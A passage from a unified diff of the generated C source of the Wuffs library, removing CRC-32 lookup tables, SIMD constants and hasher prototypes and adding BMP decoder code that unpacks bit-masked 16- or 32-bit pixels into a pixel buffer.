3362581206, 593187285, 3432594155, 776282514, 3246869164, 716239279, 3312622225, +- 880394524, 3686509090, 814485793, 3746462239, 1033003366, 3528460888, 963096923, 3601193573, +- 1331495888, 2694801646, 1269355501, 2758457555, 1186374570, 2843003028, 1111716759, 2910918825, +- 1552565028, 3007850522, 1484755737, 3082680359, 1432478558, 3131279456, 1368666979, 3193329757, +- 1760789048, 2268195078, 1812353541, 2210675003, 1628971586, 2396670332, 1710092927, 2318375233, +- 2066006732, 2498144754, 2144408305, 2417195471, 1926193846, 2634877320, 1983558283, 2583222709, +- 2662991776, 1903717534, 2588923805, 1972223139, 2538711002, 2022952164, 2477029351, 2087066841, +- 2372749140, 1655647338, 2308478825, 1717238871, 2223433518, 1799654416, 2155034387, 1873894445, +- 3105130056, 1456926070, 3185661557, 1378041163, 2969511474, 1597852940, 3020617231, 1539874097, +- 2864957116, 1157737858, 2922780289, 1106542015, 2737333958, 1290407416, 2816325371, 1210047941, +- 3521578096, 1042640718, 3574781005, 986759027, 3624707082, 936300340, 3707335735, 859512585, +- 3257943172, 770846650, 3334837433, 688390023, 3420185854, 605654976, 3475911875, 552361981, +- 4132013464, 428600998, 4072428965, 494812827, 4288816610, 274747100, 4216845791, 345349857, +- 3852387692, 173846098, 3781891409, 245988975, 3967116566, 62328360, 3900749099, 121822741, +- 3859089665, 164061759, 3807435068, 221426178, 4025395579, 2933317, 3944446278, 81334904, +- 4124199413, 437265099, 4045904328, 518386422, 4231653775, 335250097, 4174133682, 386814604, +- 3249244393, 778691543, 3311294676, 714879978, 3359647891, 662848429, 3434477742, 595039120, +- 3531393053, 1035903779, 3599308832, 961245982, 3684132967, 877986649, 3747788890, 815846244, +- 2841119441, 1184522735, 2913852140, 1114616274, 2696129195, 1332855189, 2756082326, 1266946472, +- 3129952805, 1431118107, 3195705880, 1371074854, 3009735263, 1554415969, 3079748194, 1481855324, +- 2398522169, 1630855175, 2315475716, 1707159610, 2266835779, 1759461501, 2213084030, 1814728768, +- 2636237773, 1927520499, 2580814832, 1981182158, 2496293815, 2064121993, 2420095882, 2147340468, +- 2025787041, 2541577631, 2085281436, 2475210146, 1901375195, 2660681189, 1973518054, 2590184920, +- 1801997909, 2225743211, 1872600680, 2153772374, 1652813359, 2369881361, 1719025170, 2310296876, +- 1594986313, 2966676599, 1541693300, 3022402634, 1459236659, 3107472397, 1376780046, 3184366640, +- 1288097725, 2734990467, 1211309952, 2817619134, 1160605639, 2867791097, 1104723962, 2920993988, +- 937561457, 3626001999, 857201996, 3704993394, 1040821515, 3519792693, 989625654, 3577615880, +- 607473029, 3421972155, 549494200, 3473077894, 769584639, 3256649409, 690699714, 3337180924, +- 273452185, 4287555495, 347692196, 4219156378, 430386403, 4133832669, 491977950, 4069562336, +- 60542061, 3965298515, 124656720, 3903616878, 175139863, 3853649705, 243645482, 3779581716, +- }, { +- 0, 3247366080, 1483520449, 2581751297, 2967040898, 1901571138, 3904227907, 691737987, +- 3133399365, 2068659845, 3803142276, 589399876, 169513671, 3415493895, 1383475974, 2482566342, +- 2935407819, 1870142219, 4137319690, 924099274, 506443593, 3751897225, 1178799752, 2278412616, +- 339027342, 3585866318, 1280941135, 2379694991, 2766951948, 1700956620, 4236308429, 1024339981, +- 2258407383, 1192382487, 3740284438, 528411094, 910556245, 4157285269, 1848198548, 2946996820, +- 1012887186, 4258378066, 1681119059, 2780629139, 2357599504, 1292419792, 3572147409, 358906641, +- 678054684, 3924071644, 1879503581, 2978491677, 2561882270, 1497229150, 3235873119, 22109855, +- 2460592729, 1395094937, 3401913240, 189516888, 577821147, 3825075739, 2048679962, 3146956762, +- 3595049455, 398902831, 2384764974, 1336573934, 1720805997, 2803873197, 1056822188, 4285729900, +- 1821112490, 2902796138, 887570795, 4117339819, 3696397096, 500978920, 2218668777, 1169222953, +- 2025774372, 3106931428, 550659301, 3780950821, 3362238118, 166293862, 2416645991, 1367722151, +- 3262987361, 66315169, 2584839584, 1537170016, 1923370979, 3005911075, 717813282, 3947244002, +- 1356109368, 2438613496, 146288633, 3375820857, 3759007162, 562248314, 3093388411, 2045739963, +- 3927406461, 731490493, 2994458300, 1945440636, 1523451135, 2604718911, 44219710, 3274466046, +- 4263662323, 1068272947, 2790189874, 1740649714, 1325080945, 2406874801, 379033776, 3608758128, +- 1155642294, 2238671990, 479005303, 3708016055, 4097359924, 901128180, 2891217397, 1843045941, +- 2011248031, 3060787807, 797805662, 3993195422, 3342353949, 112630237, 2673147868, 1591353372, +- 3441611994, 212601626, 2504944923, 1421914843, 2113644376, 3161815192, 630660761, 3826893145, +- 3642224980, 412692116, 2172340373, 1089836885, 1775141590, 2822790422, 832715543, 4029474007, +- 1674842129, 2723860433, 1001957840, 4197873168, 3540870035, 310623315, 2338445906, 1257178514, +- 4051548744, 821257608, 2836464521, 1755307081, 1101318602, 2150241802, 432566283, 3628511179, +- 1270766349, 2318435533, 332587724, 3529260300, 4217841807, 988411727, 2735444302, 1652903566, +- 1602977411, 2651169091, 132630338, 3328776322, 4015131905, 786223809, 3074340032, 1991273216, +- 3846741958, 616972294, 3173262855, 2091579847, 1435626564, 2485072772, 234706309, 3430124101, +- 2712218736, 1613231024, 4190475697, 944458353, 292577266, 3506339890, 1226630707, 2291284467, +- 459984181, 3672380149, 1124496628, 2189994804, 2880683703, 1782407543, 4091479926, 844224694, +- 257943739, 3469817723, 1462980986, 2529005242, 3213269817, 2114471161, 3890881272, 644152632, +- 3046902270, 1947391550, 3991973951, 746483711, 88439420, 3301680572, 1563018173, 2628197501, +- 657826727, 3871046759, 2136545894, 3201811878, 2548879397, 1449267173, 3481299428, 235845156, +- 2650161890, 1551408418, 3315268387, 68429027, 758067552, 3970035360, 1967360161, 3033356129, +- 2311284588, 1213053100, 3517963949, 270598509, 958010606, 4170500910, 1635167535, 2700636911, +- 855672361, 4069415401, 1802256360, 2866995240, 2212099499, 1113008747, 3686091882, 440112042, +- }, { +- 0, 2611301487, 3963330207, 2006897392, 50740095, 2560849680, 4013794784, 1956178319, +- 101480190, 2645113489, 3929532513, 1905435662, 84561281, 2662269422, 3912356638, 1922342769, +- 202960380, 2545787283, 3760419683, 2072395532, 253679235, 2495322860, 3810871324, 2021655667, +- 169122562, 2444351341, 3861841309, 2106214898, 152215677, 2461527058, 3844685538, 2123133581, +- 405920760, 2207553431, 4094313831, 1873742088, 456646791, 2157096168, 4144791064, 1823027831, +- 507358470, 2241388905, 4060492697, 1772322806, 490444409, 2258557462, 4043311334, 1789215881, +- 338245124, 2408348267, 4161972379, 1672996084, 388959611, 2357870868, 4212429796, 1622269835, +- 304431354, 2306870421, 4263435877, 1706791434, 287538053, 2324051946, 4246267162, 1723705717, +- 811841520, 2881944479, 3696765295, 1207788800, 862293135, 2831204576, 3747484176, 1157324415, +- 913293582, 2915732833, 3662962577, 1106318334, 896137841, 2932651550, 3646055662, 1123494017, +- 1014716940, 2816349795, 3493905555, 1273334012, 1065181555, 2765630748, 3544645612, 1222882179, +- 980888818, 2714919069, 3595350637, 1307180546, 963712909, 2731826146, 3578431762, 1324336509, +- 676490248, 3019317351, 3295277719, 1607253752, 726947703, 2968591128, 3345992168, 1556776327, +- 777919222, 3053147801, 3261432937, 1505806342, 760750473, 3070062054, 3244539670, 1522987897, +- 608862708, 3220163995, 3362856811, 1406423812, 659339915, 3169449700, 3413582868, 1355966587, +- 575076106, 3118709605, 3464325525, 1440228858, 557894773, 3135602714, 3447411434, 1457397381, +- 1623683040, 4217512847, 2365387135, 391757072, 1673614495, 4167309552, 2415577600, 341804655, +- 1724586270, 4251866481, 2331019137, 290835438, 1707942497, 4268256782, 2314648830, 307490961, +- 1826587164, 4152020595, 2162433155, 457265388, 1876539747, 4101829900, 2212636668, 407333779, +- 1792275682, 4051089549, 2263378557, 491595282, 1775619997, 4067460082, 2246988034, 508239213, +- 2029433880, 3813931127, 2496473735, 258500328, 2079362919, 3763716872, 2546668024, 208559511, +- 2130363110, 3848244873, 2462145657, 157552662, 2113730969, 3864638966, 2445764358, 174205801, +- 1961777636, 4014675339, 2564147067, 57707284, 2011718299, 3964481268, 2614361092, 7778411, +- 1927425818, 3913769845, 2665066885, 92077546, 1910772837, 3930150922, 2648673018, 108709525, +- 1352980496, 3405878399, 3164554895, 658115296, 1403183983, 3355946752, 3214507504, 607924639, +- 1453895406, 3440239233, 3130208369, 557218846, 1437504913, 3456883198, 3113552654, 573589345, +- 1555838444, 3340335491, 2961681267, 723707676, 1606028947, 3290383100, 3011612684, 673504355, +- 1521500946, 3239382909, 3062619533, 758026722, 1505130605, 3256038402, 3045975794, 774417053, +- 1217725416, 3543158663, 2762906999, 1057739032, 1267939479, 3493229816, 2812847624, 1007544935, +- 1318679830, 3577493881, 2728586121, 956803046, 1302285929, 3594125830, 2711933174, 973184153, +- 1150152212, 3743982203, 2830528651, 856898788, 1200346475, 3694041348, 2880457716, 806684571, +- 1115789546, 3643069573, 2931426933, 891243034, 1099408277, 3659722746, 2914794762, 907637093, +- }, { +- 0, 3717650821, 1616688459, 3184159950, 3233376918, 489665299, 2699419613, 2104690264, +- 1510200173, 2274691816, 979330598, 3888758691, 2595928571, 1194090622, 4209380528, 661706037, +- 3020400346, 1771143007, 3562738577, 164481556, 1958661196, 2837976521, 350386439, 3379863682, +- 3993269687, 865250354, 2388181244, 1406015865, 784146209, 4079732388, 1323412074, 2474079215, +- 3011398645, 1860735600, 3542286014, 246687547, 1942430051, 2924607718, 328963112, 3456978349, +- 3917322392, 887832861, 2300653011, 1421341782, 700772878, 4099025803, 1234716485, 2483986112, +- 125431087, 3673109674, 1730500708, 3132326369, 3351283641, 441867836, 2812031730, 2047535991, +- 1568292418, 2163009479, 1025936137, 3769651852, 2646824148, 1079348561, 4255113631, 537475098, +- 3180171691, 1612400686, 3721471200, 4717925, 2100624189, 2694980280, 493375094, 3237910515, +- 3884860102, 974691139, 2278750093, 1514417672, 657926224, 4204917205, 1198234907, 2600289438, +- 160053105, 3558665972, 1775665722, 3024116671, 3375586791, 346391650, 2842683564, 1962488105, +- 1401545756, 2384412057, 869618007, 3997403346, 2469432970, 1319524111, 4083956673, 788193860, +- 250862174, 3546612699, 1856990997, 3006903952, 3461001416, 333211981, 2920678787, 1937824774, +- 1425017139, 2305216694, 883735672, 3912918525, 2487837605, 1239398944, 4095071982, 696455019, +- 3136584836, 1734518017, 3668494799, 121507914, 2051872274, 2816200599, 437363545, 3347544796, +- 3774328809, 1029797484, 2158697122, 1564328743, 542033279, 4258798842, 1074950196, 2642717105, +- 2691310871, 2113731730, 3224801372, 497043929, 1624461185, 3175454212, 9435850, 3709412175, +- 4201248378, 671035391, 2587181873, 1201904308, 986750188, 3880142185, 1519135143, 2266689570, +- 342721485, 3388693064, 1949382278, 2846355203, 3570723163, 155332830, 3028835344, 1763607957, +- 1315852448, 2482538789, 775087595, 4087626862, 2396469814, 1396827059, 4002123645, 857560824, +- 320106210, 3464673127, 1934154665, 2933785132, 3551331444, 238804465, 3018961215, 1852270778, +- 1226292623, 2491507722, 692783300, 4108177729, 2309936921, 1412959900, 3924976210, 879016919, +- 2803091512, 2055541181, 3343875443, 450471158, 1739236014, 3124525867, 133568485, 3663777376, +- 4245691221, 545702608, 2639048222, 1088059291, 1034514883, 3762268230, 1576387720, 2153979149, +- 501724348, 3228659001, 2109407735, 2687359090, 3713981994, 13109167, 3171052385, 1620357860, +- 1206151121, 2591211092, 666423962, 4197321503, 2271022407, 1523307714, 3875649548, 982999433, +- 2850034278, 1953942499, 3384583981, 338329256, 1767471344, 3033506165, 151375291, 3566408766, +- 4091789579, 779425934, 2478797888, 1311354309, 861580189, 4006375960, 1392910038, 2391852883, +- 2929327945, 1930372812, 3469036034, 324244359, 1847629279, 3015068762, 243015828, 3555391761, +- 4103744548, 688715169, 2496043375, 1229996266, 874727090, 3920994103, 1417671673, 2313759356, +- 446585235, 3339223062, 2059594968, 2807313757, 3660002053, 129100416, 3128657486, 1743609803, +- 1084066558, 2634765179, 549535669, 4250396208, 2149900392, 1571961325, 3765982499, 1039043750, +- }, { +- 0, 2635063670, 3782132909, 2086741467, 430739227, 2225303149, 4173482934, 1707977408, +- 861478454, 2924937024, 3526875803, 1329085421, 720736557, 3086643291, 3415954816, 1452586230, +- 1722956908, 4223524122, 2279405761, 450042295, 2132718455, 3792785921, 2658170842, 58693292, +- 1441473114, 3370435372, 3028674295, 696911745, 1279765825, 3511176247, 2905172460, 807831706, +- 3445913816, 1349228974, 738901109, 2969918723, 3569940419, 1237784245, 900084590, 2829701656, +- 4265436910, 1664255896, 525574723, 2187084597, 3885099509, 2057177219, 117386584, 2616249390, +- 2882946228, 920233410, 1253605401, 3619119471, 2994391983, 796207833, 1393823490, 3457937012, +- 2559531650, 92322804, 2044829231, 3840835417, 2166609305, 472659183, 1615663412, 4249022530, +- 1102706673, 3702920839, 2698457948, 1037619754, 1477802218, 3306854812, 3111894087, 611605809, +- 1927342535, 4025419953, 2475568490, 243387420, 1800169180, 4131620778, 2317525617, 388842247, +- 655084445, 3120835307, 3328511792, 1533734470, 1051149446, 2745738736, 3754524715, 1120297309, +- 340972971, 2304586973, 4114354438, 1748234352, 234773168, 2431761350, 3968900637, 1906278251, +- 2363330345, 299003487, 1840466820, 4038896370, 2507210802, 142532932, 1948239007, 3910149609, +- 3213136159, 579563625, 1592415666, 3286611140, 2787646980, 992477042, 1195825833, 3662232543, +- 3933188933, 2002801203, 184645608, 2517538462, 4089658462, 1858919720, 313391347, 2409765253, +- 3644239219, 1144605701, 945318366, 2773977256, 3231326824, 1570095902, 569697989, 3170568115, +- 2205413346, 511446676, 1646078799, 4279421497, 2598330617, 131105167, 2075239508, 3871229218, +- 2955604436, 757403810, 1363424633, 3427521551, 2844163791, 881434553, 1223211618, 3588709140, +- 3854685070, 2026779384, 78583587, 2577462869, 4235025557, 1633861091, 486774840, 2148301134, +- 3600338360, 1268198606, 938871061, 2868504675, 3476308643, 1379640277, 777684494, 3008718712, +- 1310168890, 3541595724, 2943964055, 846639841, 1471879201, 3400857943, 3067468940, 735723002, +- 2102298892, 3762382970, 2619362721, 19901655, 1692534295, 4193118049, 2240594618, 411247564, +- 681945942, 3047836192, 3385552891, 1422167693, 822682701, 2886124859, 3496468704, 1298661782, +- 469546336, 2264093718, 4203901389, 1738379451, 38812283, 2673859341, 3812556502, 2117148576, +- 3268024339, 1606809957, 598006974, 3198893512, 3680933640, 1181316734, 973624229, 2802299603, +- 4052944421, 1822222163, 285065864, 2381456382, 3896478014, 1966106696, 156323219, 2489232613, +- 2759337087, 964150537, 1159127250, 3625517476, 3184831332, 551242258, 1555722185, 3249901247, +- 2535537225, 170842943, 1984954084, 3946848146, 2391651666, 327308324, 1877176831, 4075589769, +- 263086283, 2460058045, 4005602406, 1942963472, 369291216, 2332888742, 4151061373, 1784924683, +- 1022852861, 2717425547, 3717839440, 1083595558, 626782694, 3092517008, 3291821387, 1497027645, +- 1763466407, 4094934481, 2289211402, 360544636, 1890636732, 3988730570, 2447251217, 215086695, +- 1514488465, 3343557607, 3140191804, 639919946, 1139395978, 3739626748, 2726758695, 1065936977, +- }, { +- 0, 3120290792, 2827399569, 293431929, 2323408227, 864534155, 586863858, 2600537882, +- 3481914503, 1987188591, 1729068310, 3740575486, 1173727716, 4228805132, 3983743093, 1418249117, +- 1147313999, 4254680231, 3974377182, 1428157750, 3458136620, 2011505092, 1721256893, 3747844181, +- 2347455432, 839944224, 594403929, 2593536433, 26687147, 3094146371, 2836498234, 283794642, +- 2294627998, 826205558, 541298447, 2578994407, 45702141, 3141697557, 2856315500, 331624836, +- 1196225049, 4273416689, 4023010184, 1446090848, 3442513786, 1959480466, 1706436331, 3696098563, +- 3433538001, 1968994873, 1679888448, 3722103720, 1188807858, 4280295258, 3999102243, 1470541515, +- 53374294, 3134568126, 2879970503, 307431215, 2303854645, 816436189, 567589284, 2553242188, +- 3405478781, 1929420949, 1652411116, 3682996484, 1082596894, 4185703926, 3892424591, 1375368295, +- 91404282, 3163122706, 2918450795, 336584067, 2400113305, 922028401, 663249672, 2658384096, +- 2392450098, 929185754, 639587747, 2682555979, 82149713, 3172883129, 2892181696, 362343208, +- 1091578037, 4176212829, 3918960932, 1349337804, 3412872662, 1922537022, 1676344391, 3658557359, +- 1111377379, 4224032267, 3937989746, 1396912026, 3359776896, 1908013928, 1623494929, 3644803833, +- 2377615716, 877417100, 623982837, 2630542109, 130804743, 3190831087, 2941083030, 381060734, +- 106748588, 3215393092, 2933549885, 388083925, 2350956495, 903570471, 614862430, 2640172470, +- 3386185259, 1882115523, 1632872378, 3634920530, 1135178568, 4199721120, 3945775833, 1389631793, +- 1317531835, 4152109907, 3858841898, 1610259138, 3304822232, 2097172016, 1820140617, 3582394273, +- 2165193788, 955639764, 696815021, 2423477829, 192043359, 2995356343, 2750736590, 437203750, +- 182808564, 3005133852, 2724453989, 462947725, 2157513367, 962777471, 673168134, 2447663342, +- 3312231283, 2090301595, 1844056802, 3557935370, 1326499344, 4142603768, 3885397889, 1584245865, +- 3326266917, 2142836173, 1858371508, 3611272284, 1279175494, 4123357358, 3837270743, 1564721471, +- 164299426, 2955991370, 2706223923, 414607579, 2209834945, 978107433, 724686416, 2462715320, +- 2183156074, 1004243586, 715579643, 2472360723, 140260361, 2980573153, 2698675608, 421617264, +- 1302961645, 4099032581, 3845074044, 1557460884, 3352688782, 2116952934, 1867729183, 3601371895, +- 2222754758, 1032278062, 754596439, 2499928511, 234942117, 3086693709, 2793824052, 528319708, +- 1274365761, 4061043881, 3816027856, 1518873912, 3246989858, 2020800970, 1762628531, 3505670235, +- 3223196809, 2045103969, 1754834200, 3512958704, 1247965674, 4086934018, 3806642299, 1528765331, +- 261609486, 3060532198, 2802936223, 518697591, 2246819181, 1007707781, 762121468, 2492913428, +- 213497176, 3041029808, 2755593417, 499441441, 2261110843, 1061030867, 776167850, 2545465922, +- 3274734047, 2060165687, 1807140942, 3528266662, 1229724860, 4038575956, 3788156205, 1479636677, +- 1222322711, 4045468159, 3764231046, 1504067694, 3265744756, 2069664924, 1780612837, 3554288909, +- 2270357136, 1051278712, 802445057, 2519698665, 221152243, 3033880603, 2779263586, 475261322, +- }, { +- 0, 2926088593, 2275419491, 701019378, 3560000647, 2052709654, 1402038756, 4261017717, +- 1930665807, 3715829470, 4105419308, 1524313021, 2804077512, 155861593, 545453739, 2397726522, +- 3861331614, 1213181711, 1636244477, 3488582252, 840331801, 2625561480, 3048626042, 467584747, +- 2503254481, 995897408, 311723186, 3170637091, 1090907478, 4016929991, 3332753461, 1758288292, +- 390036349, 3109546732, 2426363422, 1056427919, 3272488954, 1835443819, 1152258713, 3938878216, +- 1680663602, 3393484195, 3817652561, 1306808512, 2954733749, 510998820, 935169494, 2580880455, +- 4044899811, 1601229938, 1991794816, 3637571857, 623446372, 2336332021, 2726898695, 216120726, +- 2181814956, 744704829, 95158223, 2881711710, 1446680107, 4166125498, 3516576584, 2146575065, +- 780072698, 2148951915, 2849952665, 129384968, 4199529085, 1411853292, 2112855838, 3548843663, +- 1567451573, 4077254692, 3670887638, 1957027143, 2304517426, 657765539, 251396177, 2694091200, +- 3361327204, 1714510325, 1341779207, 3784408214, 476611811, 2986349938, 2613617024, 899690513, +- 3142211371, 354600634, 1021997640, 2458051545, 1870338988, 3239283261, 3906682575, 1186180958, +- 960597383, 2536053782, 3202459876, 277428597, 3983589632, 1125666961, 1792074851, 3300423154, +- 1246892744, 3829039961, 3455203243, 1671079482, 2657312335, 806080478, 432241452, 3081497277, +- 3748049689, 1896751752, 1489409658, 4138600427, 190316446, 2772397583, 2365053693, 580864876, +- 2893360214, 35503559, 735381813, 2243795108, 2017747153, 3593269568, 4293150130, 1368183843, +- 1560145396, 4069882981, 3680356503, 1966430470, 2295112051, 648294626, 258769936, 2701399425, +- 804156091, 2173100842, 2823706584, 103204425, 4225711676, 1438101421, 2088704863, 3524758222, +- 3134903146, 347226875, 1031468553, 2467456920, 1860935661, 3229814396, 3914054286, 1193487135, +- 3385412645, 1738661300, 1315531078, 3758225623, 502792354, 3012596019, 2589468097, 875607120, +- 1271043721, 3853125400, 3429020650, 1644831355, 2683558414, 832261023, 408158061, 3057348348, +- 953223622, 2528745559, 3211865253, 286899508, 3974120769, 1116263632, 1799381026, 3307794867, +- 2917509143, 59586950, 709201268, 2217549029, 2043995280, 3619452161, 4269064691, 1344032866, +- 3740677976, 1889445577, 1498812987, 4148069290, 180845535, 2762992206, 2372361916, 588238637, +- 1921194766, 3706423967, 4112727661, 1531686908, 2796705673, 148555288, 554857194, 2407195515, +- 26248257, 2952271312, 2251333922, 676868275, 3584149702, 2076793175, 1375858085, 4234771508, +- 2493785488, 986493953, 319029491, 3178008930, 1083533591, 4009621638, 3342158964, 1767759333, +- 3887577823, 1239362382, 1612160956, 3464433197, 864482904, 2649647049, 3022443323, 441336490, +- 1706844275, 3419730402, 3793503504, 1282724993, 2978819316, 535149925, 908921239, 2554697734, +- 380632892, 3100077741, 2433735263, 1063734222, 3265180603, 1828069930, 1161729752, 3948283721, +- 2207997677, 770953084, 71007118, 2857626143, 1470763626, 4190274555, 3490330377, 2120394392, +- 4035494306, 1591758899, 1999168705, 3644880208, 616140069, 2328960180, 2736367686, 225524183, +- }, +-}; ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +-static const uint8_t +-WUFFS_CRC32__IEEE_X86_SSE42_K1K2[16] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 212, 43, 68, 84, 1, 0, 0, 0, +- 150, 21, 228, 198, 1, 0, 0, 0, +-}; +- +-static const uint8_t +-WUFFS_CRC32__IEEE_X86_SSE42_K3K4[16] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 208, 151, 25, 117, 1, 0, 0, 0, +- 158, 0, 170, 204, 0, 0, 0, 0, +-}; +- +-static const uint8_t +-WUFFS_CRC32__IEEE_X86_SSE42_K5ZZ[16] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 36, 97, 205, 99, 1, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +-}; +- +-static const uint8_t +-WUFFS_CRC32__IEEE_X86_SSE42_PXMU[16] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 65, 6, 113, 219, 1, 0, 0, 0, +- 65, 22, 1, 247, 1, 0, 0, 0, +-}; +- +-// ---------------- Private Initializer Prototypes +- +-// ---------------- Private Function Prototypes +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x); ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ goto exit; ++ } ++ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); ++ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); ++ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ label__outer__continue:; ++ while (true) { ++ while (self->private_impl.f_pending_pad > 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); ++ goto ok; ++ } ++ self->private_impl.f_pending_pad -= 1u; ++ iop_a_src += 1u; ++ } ++ while (true) { ++ if (self->private_impl.f_dst_x == self->private_impl.f_width) { ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; ++ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { ++ if (self->private_impl.f_height > 0u) { ++ self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; ++ } ++ goto label__outer__break; ++ } else if (self->private_impl.f_pad_per_row != 0u) { ++ self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; ++ goto label__outer__continue; ++ } ++ } ++ v_p1_temp = ((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x)); ++ v_p1 = wuffs_base__u32__min(v_p1_temp, 256u); ++ v_p0 = 0u; ++ while (v_p0 < v_p1) { ++ if (self->private_impl.f_bits_per_pixel == 16u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { ++ break; ++ } ++ v_c32 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2u; ++ } else { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { ++ break; ++ } ++ v_c32 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4u; ++ } ++ v_channel = 0u; ++ while (v_channel < 4u) { ++ if (self->private_impl.f_channel_num_bits[v_channel] == 0u) { ++ self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 0u)] = 255u; ++ self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 1u)] = 255u; ++ } else { ++ v_c = ((v_c32 & self->private_impl.f_channel_masks[v_channel]) >> self->private_impl.f_channel_shifts[v_channel]); ++ v_num_bits = ((uint32_t)(self->private_impl.f_channel_num_bits[v_channel])); ++ while (v_num_bits < 16u) { ++ v_c |= ((uint32_t)(v_c << v_num_bits)); ++ v_num_bits *= 2u; ++ } ++ v_c >>= (v_num_bits - 16u); ++ self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 0u)] = ((uint8_t)((v_c >> 0u))); ++ self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 1u)] = ((uint8_t)((v_c >> 8u))); ++ } ++ v_channel += 1u; ++ } ++ v_p0 += 1u; ++ } ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); ++ } ++ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); ++ if (v_i >= ((uint64_t)(v_dst.len))) { ++ v_n = ((uint64_t)(v_p0)); ++ } else { ++ v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, (8u * v_p0))); ++ } ++ if (v_n == 0u) { ++ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); ++ goto ok; ++ } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); ++ } ++ } ++ label__outer__break:; ++ status = wuffs_base__make_status(NULL); ++ goto ok; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up__choosy_default( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x); ++ ok: ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } + +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up_arm_crc32( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x); +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) ++ return status; ++} + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up_x86_avx2( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) ++// -------- func bmp.decoder.swizzle_low_bit_depth + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up_x86_sse42( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- +-// ---------------- VTables +- +-const wuffs_base__hasher_u32__func_ptrs +-wuffs_crc32__ieee_hasher__func_ptrs_for__wuffs_base__hasher_u32 = { +- (uint32_t(*)(const void*))(&wuffs_crc32__ieee_hasher__checksum_u32), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_crc32__ieee_hasher__get_quirk), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_crc32__ieee_hasher__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- wuffs_base__slice_u8))(&wuffs_crc32__ieee_hasher__update), +- (uint32_t(*)(void*, +- wuffs_base__slice_u8))(&wuffs_crc32__ieee_hasher__update_u32), +-}; ++static wuffs_base__status ++wuffs_bmp__decoder__swizzle_low_bit_depth( ++ wuffs_bmp__decoder* self, ++ 